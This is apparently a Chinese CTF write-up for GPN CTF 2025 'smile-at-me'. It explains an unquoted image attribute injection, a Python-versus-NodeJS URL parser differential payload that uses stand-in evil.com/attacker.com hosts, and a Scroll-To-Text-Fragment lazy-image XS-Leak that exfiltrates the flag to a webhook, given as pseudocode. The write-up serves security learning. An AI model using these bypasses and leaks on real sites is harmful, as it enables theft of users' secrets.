xss利用搜索侧信道 -- GPN CTF 2025 smile-at-me

此处存在未转义的插入

html 复制代码
{% if note.image_url %}
    <img src={{note.image_url}} alt="Your favorit Image">
{% endif %}

对域名的校验逻辑如下

python 复制代码
if image_url and not validate_url(image_url, target_domain='imgur.com'):
python 复制代码
def validate_url(url: str, target_domain: str = None) -> bool:
    """
    校验URL是否合法,并可选校验域名是否为指定目标域名

    :param url: 需要校验的URL字符串
    :param target_domain: (可选)目标域名,若指定则校验URL的主机名是否与之相同
    :return: 如果URL合法且(可选)域名匹配则返回True,否则返回False
    """
    try:
        parsed = urlparse(url)  # 解析URL
        print(f"Parsed URL: {parsed}")  # 打印解析结果,便于调试
        # 检查协议是否为http或https,且主机名不为空
        if parsed.scheme not in ('http', 'https') or not parsed.hostname:
            return False
        # 如果指定了目标域名,则校验主机名是否与目标域名一致
        if target_domain and parsed.hostname != target_domain:
            return False
        return True  # 校验通过
    except Exception:
        # 发生异常时返回False
        return False

仔细观察,我们能注意到机器人端(NodeJS URL / Puppeteer)再解析一次同一个 URL 才真正发请求。这两套解析器并不完全一致,出现了解析差异的可能(parser differential)。

复制代码
http://evil.com\@example.com
  • Python 认为 host 是 example.com(@ 后的内容当用户名被吃掉了);
  • NodeJS 把 \ 当 /,host 读成 evil.com,成功绕过。
  • .../ → WHATWG 解析器会做路径归一化,而 urlparse 不会。配合上一条可把 /@example.com 归回根路径 /,避免 404。

这意味这我们可以轻易绕过

js 复制代码
http://attacker.com\@imgur.com/../" ANY_ATTR=ANY_VALUE

但是题目拥有严格的要求

python 复制代码
   CSP_POLICY = (
       "default-src 'none'; "
       "script-src 'self'; "
       "style-src https://cdn.simplecss.org 'self'; "
       "img-src *; "
       "base-uri 'none';"
       "frame-ancestors 'none';"
   )

禁止所有内联 JS、禁止外域脚本、禁止 CSS 利用。因此思路改为侧信道(XS Leaks)------Scroll-To-Text-Fragment (STTF):

  1. 浏览器访问 URL#:~:text=<要搜索的字符串> 时,会在页面加载完毕后自动滚动到第一个匹配的位置。

  2. 页面很长时会使用"懒加载图片"(loading=lazy);只有滚动到可视区域的图片才会真的发出 HTTP 请求。

  3. 我们把自己的 webhook 图片放在离顶部很远的位置;只有当浏览器因为 STTF 滚动到这一行时才会触发请求。

    .../note/%#:~:text=💻

最终流程类似如下

python 复制代码
flag = "GPNCTF{"
while not flag.endswith("}"):
    group1, group2 = split(emojis)
    url = /note/<id>%23:~:text=flag+group1&text=FLAG_NOT_FOUND   # 同时挂 fallback
    send_to_bot(url)
    if webhook_hit():
        emojis = group1
    else:
        emojis = group2
    if len(emojis) == 1:
        flag += emojis[0]
相关推荐
小江的记录本3 天前
【CSS】CSS 核心:盒模型、BFC/IFC、Flex/Grid 布局、响应式布局、移动端适配(附《思维导图》)
前端·css·面试·前端框架·tensorflow·html5·xss
DsirNg3 天前
凭证不是登录态:从攻击面重做浏览器认证设计
oauth·xss·csrf·token·cookie·认证授权·web 安全
蒲公英eric5 天前
从客户端到服务端:DVWA DOM 型 XSS 模块完整漏洞分析教程
前端·web安全·ai·xss·dvwa·ai安全
Blockchina6 天前
Codex安全盲区:我用4组本地测试复盘SQLi、XSS、越权与路径穿越
sql·安全·xss
黄俊懿7 天前
【架构师从入门到进阶】第五章:DNS&CDN&网关优化思路——第七节:网关-XSS攻击与预防
网关·网络安全·架构·系统架构·架构师·xss·架构设计
HackTwoHub7 天前
Butter_Cookie 黄油曲奇|浏览器渗透插件,云存储检测、XSS、SQL 注入一站式 Web 安全测试工具
前端·sql·安全·web安全·网络安全·自动化·xss
Rain的Java大神之路13 天前
短信接口被狂刷怎么处理
java·运维·后端·web安全·面试·架构·xss
云水一下17 天前
零基础玩转bWAPP靶场(六十五):SQLiteManager XSS
web安全·xss·bwapp·sqlitemanager·cve-2012-5105·bee-box
TJHHH.17 天前
XSS-labs-master
前端·web安全·xss
DsirNg18 天前
登录态失控时,前端如何止损:从令牌轮换到会话退出的完整设计
xss·csrf·cookie·会话管理·前端安全·登录态·刷新令牌